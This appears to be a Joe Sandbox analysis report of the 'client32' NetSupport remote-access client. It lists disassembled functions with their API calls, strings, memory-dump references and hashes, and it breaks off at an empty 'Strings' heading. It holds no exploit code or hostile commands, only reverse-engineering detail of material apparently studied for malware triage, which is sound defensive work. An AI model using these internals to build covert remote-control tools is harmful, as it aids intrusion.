RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 11060D9A

Part of subcall function 11060780: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 110607BC
Part of subcall function 11060780: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 11060814

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 11060DEB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11060EA5
RegCloseKey.ADVAPI32(?), ref: 11060EC1

Strings

%s\%s\%s\, xrefs: 11060E44
Standard, xrefs: 11060E06
Software\Policies\NetSupport\Client, xrefs: 11060D94
Client.%04d.%s, xrefs: 11060E27
Client, xrefs: 11060DA8, 11060ED8
DisableUserPolicies, xrefs: 11060ED3
Client, xrefs: 11060E3A
Software\Policies\NetSupport\Client\Standard, xrefs: 11060DAD
Software\Policies\NetSupport, xrefs: 11060E3F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: dd11b5a8640d03804c1d49c9822c36202c3d07f7c97d6e5b7f1e1e4bc8854663
Instruction ID: d080a53fd8ea07f48dbdc4252f8689ef8bdd9062327065f776ba7b054214a859
Opcode Fuzzy Hash: dd11b5a8640d03804c1d49c9822c36202c3d07f7c97d6e5b7f1e1e4bc8854663
Instruction Fuzzy Hash: 8E4171B4E4022DABD721CB118C81FEEF7BCEB44708F5041D9F659A6140DAB06E85CFA5

Function 11134C30 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

GetTickCount.KERNEL32 ref: 11134C92

Part of subcall function 11095A00: CoInitialize.OLE32(00000000), ref: 11095A14
Part of subcall function 11095A00: CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,11134C9B), ref: 11095A2E
Part of subcall function 11095A00: CoCreateInstance.OLE32(?,00000000,00000001,111BBF6C,?,?,?,?,?,?,?,11134C9B), ref: 11095A4B
Part of subcall function 11095A00: CoUninitialize.OLE32(?,?,?,?,?,?,11134C9B), ref: 11095A69

GetTickCount.KERNEL32 ref: 11134CA1
_memset.LIBCMT ref: 11134CE3
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 11134CF9
_strrchr.LIBCMT ref: 11134D08
_free.LIBCMT ref: 11134D5A

Strings

IsICFPresent..., xrefs: 11134C7F
ICFConfig, xrefs: 11134C45
*AutoICFConfig, xrefs: 11134C67
No ICF present, xrefs: 11134D92
ICFConfig2 returned 0x%x, xrefs: 11134D60
Client, xrefs: 11134C6C
IsICFPresent() took %d ms, xrefs: 11134CAD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: ef466dfda7726091f789933c0b3d214dbbefffcad99d397d42e5d2dc58734e76
Instruction ID: d44bafd8d9da45843e77f34f686076cbab1fa436d88e3f7880232d47d14e06df
Opcode Fuzzy Hash: ef466dfda7726091f789933c0b3d214dbbefffcad99d397d42e5d2dc58734e76
Instruction Fuzzy Hash: 7F41AC79E002299BD720CBB59C81BEEF768AF6431CF00417AED0597184EA716D44CFA5

Function 6C4D7610 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 111networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32 ref: 6C4D7642
connect.WSOCK32(00000000,?,?), ref: 6C4D7659
WSAGetLastError.WSOCK32(00000000,?,?), ref: 6C4D7660
_memmove.LIBCMT ref: 6C4D76D3
select.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6C4D76F3
GetTickCount.KERNEL32 ref: 6C4D7717
ioctlsocket.WSOCK32 ref: 6C4D775C
SetLastError.KERNEL32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C4D7762
WSAGetLastError.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6C4D777A
__WSAFDIsSet.WSOCK32(00000000,?,00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000), ref: 6C4D778B

Strings

*BlockingIO, xrefs: 6C4D7732
General, xrefs: 6C4D7683
ConnectTimeout, xrefs: 6C4D767E

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ioctlsocket$CountTick_memmoveconnectselect
String ID: *BlockingIO$ConnectTimeout$General
API String ID: 4218156244-2969206566
Opcode ID: 343fc9afda7a1c0fafa9dac76ccb7624d27caf461b28f270544b1cbdb90cffb3
Instruction ID: 67879d591d013fe8d98eeb06a11cc8548a22136dbb0242e48201cfdd156dcfb8
Opcode Fuzzy Hash: 343fc9afda7a1c0fafa9dac76ccb7624d27caf461b28f270544b1cbdb90cffb3
Instruction Fuzzy Hash: 2C412A71D043149BEB20EB64CC5CFDA73BAAB84314F4105AEE51993A41EB70BA49CFE1

Function 1112FD90 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1112FE00
GetTickCount.KERNEL32 ref: 1112FE31
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 1112FE44
GetTickCount.KERNEL32 ref: 1112FE4C

Strings

CommonPath, xrefs: 1112FE6F
%s%s, xrefs: 1112FDFA, 1112FE9E
runplugin.exe, xrefs: 1112FDDE
HasStudentComponents=%d, xrefs: 1112FEC7
Software\NSL, xrefs: 1112FE74
schplayer.exe, xrefs: 1112FE88
.#v, xrefs: 1112FED5, 1112FDCF
Warning. SHGetFolderPath took %d ms, xrefs: 1112FE56

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe$.#v
API String ID: 1170620360-2953616677
Opcode ID: b288d4b57d0d0b2d34e3eb9ebe913360750b8a7c9b2bac9cda8c32c6bc0feb13
Instruction ID: f4f6a2bea37850ad8127b8e165224775ed1d93873bf7b98c8719b5195f3bfc69
Opcode Fuzzy Hash: b288d4b57d0d0b2d34e3eb9ebe913360750b8a7c9b2bac9cda8c32c6bc0feb13
Instruction Fuzzy Hash: AD316B76F0132A6BEB119BE19C80BEEF7689F5470DF200066FD15AB185EA34B5008763

Function 110303A1 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 315COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 110303A5
GetStockObject.GDI32(0000000D), ref: 110305B2
GetObjectA.GDI32(00000000,0000003C,?), ref: 110305C2
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11030600
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11030606
InterlockedExchange.KERNEL32(02478D48,00001388), ref: 11030686
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110306B8

Strings

pcicl32, xrefs: 11030791
Error %s unloading audiocap dll, xrefs: 110308CF
.%d, xrefs: 110306C2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$ExchangeInfoInterlockedNativeStockSystem
String ID: .%d$Error %s unloading audiocap dll$pcicl32
API String ID: 1428277488-3899566344
Opcode ID: bab763ab7e53b7477e20fd4053804d999aeaafe38ccea1c90df6b2d00b9ba0c0
Instruction ID: 84648f9d665478c15cc5e3a9dbad83d71a07a2a0da0358c26eb6467f7add28d3
Opcode Fuzzy Hash: bab763ab7e53b7477e20fd4053804d999aeaafe38ccea1c90df6b2d00b9ba0c0
Instruction Fuzzy Hash: 7DC16DB0D06365DFDB02CBF4CC847AEBAB46B8430DF1401EAD849B7289E7715A84CB52

Function 1102C800 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102D7F8,00000000,8F98CBB2,?,00000000,00000000), ref: 1102CA34
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102CA4A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102CA5E
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CA65
Sleep.KERNEL32(00000032), ref: 1102CA76
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CA86
Sleep.KERNEL32(000003E8), ref: 1102CAD2
CloseHandle.KERNEL32(?), ref: 1102CAFF

Strings

>, xrefs: 1102C9AB
NSA.LIC, xrefs: 1102CB46, 1102CB4D, 1102CB7D
NSM.LIC, xrefs: 1102CB37
ProtectedStorage, xrefs: 1102CA44

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: ea01079b3a69128c3d048728477477d9e1582347cd19e62e3a32b1c26c627205
Instruction ID: 04708251a91dad33445a4b2ec32a8250cc93e5b442ce4a54dc650d09efa8bb0a
Opcode Fuzzy Hash: ea01079b3a69128c3d048728477477d9e1582347cd19e62e3a32b1c26c627205
Instruction Fuzzy Hash: 0CB1D475E012259FD722CFA4CD80BE9B7B5EB49708F5041E9E919AB380DB70AE80CF51

Function 11030AC1 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 224sleepCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,8F98CBB2,00000000,00000000,00000000), ref: 11030B2A
EnumWindows.USER32(1102FB50,00000001), ref: 11030C02
EnumWindows.USER32(1102FB50,00000000), ref: 11030C5C
Sleep.KERNEL32(00000014,?,?,?,?,?,00000000), ref: 11030C6C

Strings

close new explorer wnd x%x, xrefs: 11030D3F
"%sNSMExec.exe" %s, xrefs: 11030C15
Client, xrefs: 11030B47
*ExitMetroDelay, xrefs: 11030B42
No new explorer wnd, xrefs: 11030C83
\Explorer.exe, xrefs: 11030B6A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Windows$Enum$DirectorySleep
String ID: "%sNSMExec.exe" %s$*ExitMetroDelay$Client$No new explorer wnd$\Explorer.exe$close new explorer wnd x%x
API String ID: 513616096-1852639040
Opcode ID: 0f5aa2ad33beb1ca3a9011810314af298a8a1b9d171cfa15c5a104199c03cc6a
Instruction ID: 1de763de9d71dac94d5a43d888d52470e3c4d0e72ae9e6cf16424bc1766d75f2
Opcode Fuzzy Hash: 0f5aa2ad33beb1ca3a9011810314af298a8a1b9d171cfa15c5a104199c03cc6a
Instruction Fuzzy Hash: 0281D475E1121A8FDB18DF64CC84BEEF7E1AF88309F1441E9D94997244EB30AD41CB92

Function 11026E80 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 136threadwindowsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11088380: UnhookWindowsHookEx.USER32(?), ref: 110883A3

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 11026EC4

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000001F4), ref: 11026F33
PostMessageA.USER32(000A023C,00000501,00000000,00000000), ref: 11026F50
SetEvent.KERNEL32(0000028C), ref: 11026F61
Sleep.KERNEL32(00000032), ref: 11026F69
PostMessageA.USER32(000A023C,00000800,00000000,00000000), ref: 11026F9E
GetCurrentThreadId.KERNEL32 ref: 11026FCA
GetThreadDesktop.USER32(00000000), ref: 11026FD1
SetThreadDesktop.USER32(00000000), ref: 11026FDA
CloseDesktop.USER32(00000000), ref: 11026FE5
CloseHandle.KERNEL32(00000410), ref: 11027025

Part of subcall function 1110D180: GetCurrentThreadId.KERNEL32 ref: 1110D216
Part of subcall function 1110D180: InitializeCriticalSection.KERNEL32(-00000010,?,110309CC,00000001,00000000), ref: 1110D229
Part of subcall function 1110D180: InitializeCriticalSection.KERNEL32(111EB8A0,?,110309CC,00000001,00000000), ref: 1110D238
Part of subcall function 1110D180: EnterCriticalSection.KERNEL32(111EB8A0,?,110309CC), ref: 1110D24C
Part of subcall function 1110D180: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,110309CC), ref: 1110D272

Strings

Async, xrefs: 11026EA8

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Thread$CriticalDesktopEventSection$CloseCreateCurrentInitializeMessagePost$EnterHandleHookMultipleObjectsSleepUnhookWaitWindows_malloc_memsetwsprintf
String ID: Async
API String ID: 3276504616-2933828738
Opcode ID: 0a448789272cedb8560e415f83b98613c4f814e5693cf1dffc2844fda26bc399
Instruction ID: ca11adbbf16c7c0caa3a86322762a5ec1604f7f83b321ded2c6a28509906ef70
Opcode Fuzzy Hash: 0a448789272cedb8560e415f83b98613c4f814e5693cf1dffc2844fda26bc399
Instruction Fuzzy Hash: A3419F75A012229BEB02DFE4CD85F6ABBA4EB04718F504179FE2597284EB70A801CB52

Function 11030378 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 249COMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

GetStockObject.GDI32(0000000D), ref: 110305B2
GetObjectA.GDI32(00000000,0000003C,?), ref: 110305C2
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11030600
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 11030606
InterlockedExchange.KERNEL32(02478D48,00001388), ref: 11030686
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 110306B8
_sprintf.LIBCMT ref: 110306CD
_setlocale.LIBCMT ref: 110306D7

Strings

pcicl32, xrefs: 11030791
Error %s unloading audiocap dll, xrefs: 110308CF
.%d, xrefs: 110306C2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$ExchangeInterlockedStock_malloc_memset_setlocale_sprintfwsprintf
String ID: .%d$Error %s unloading audiocap dll$pcicl32
API String ID: 4242130455-3899566344
Opcode ID: c7e6cc69636d5bc86dffb684230c704c4de436b14369e9cd4bbb45b340c5dd3e
Instruction ID: 3a554666509fb53f2837099f2099817ba134c3f60a5fb41213f434d841167a34
Opcode Fuzzy Hash: c7e6cc69636d5bc86dffb684230c704c4de436b14369e9cd4bbb45b340c5dd3e
Instruction Fuzzy Hash: 0491F7B4E06355DEDB02CBF488847AEFEF0AB8430CF1041EAD455A7289FB755A44CB52

Function 11141440 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111EBE98,76938400), ref: 11141470
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111414AF
_memset.LIBCMT ref: 111414CD

Part of subcall function 1113F3A0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110C55B,76938400,?,?,111414FF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F3C0

_strncpy.LIBCMT ref: 1114159A

Part of subcall function 1116010D: __isdigit_l.LIBCMT ref: 11160132

RegCloseKey.KERNEL32(00000000), ref: 11141636

Strings

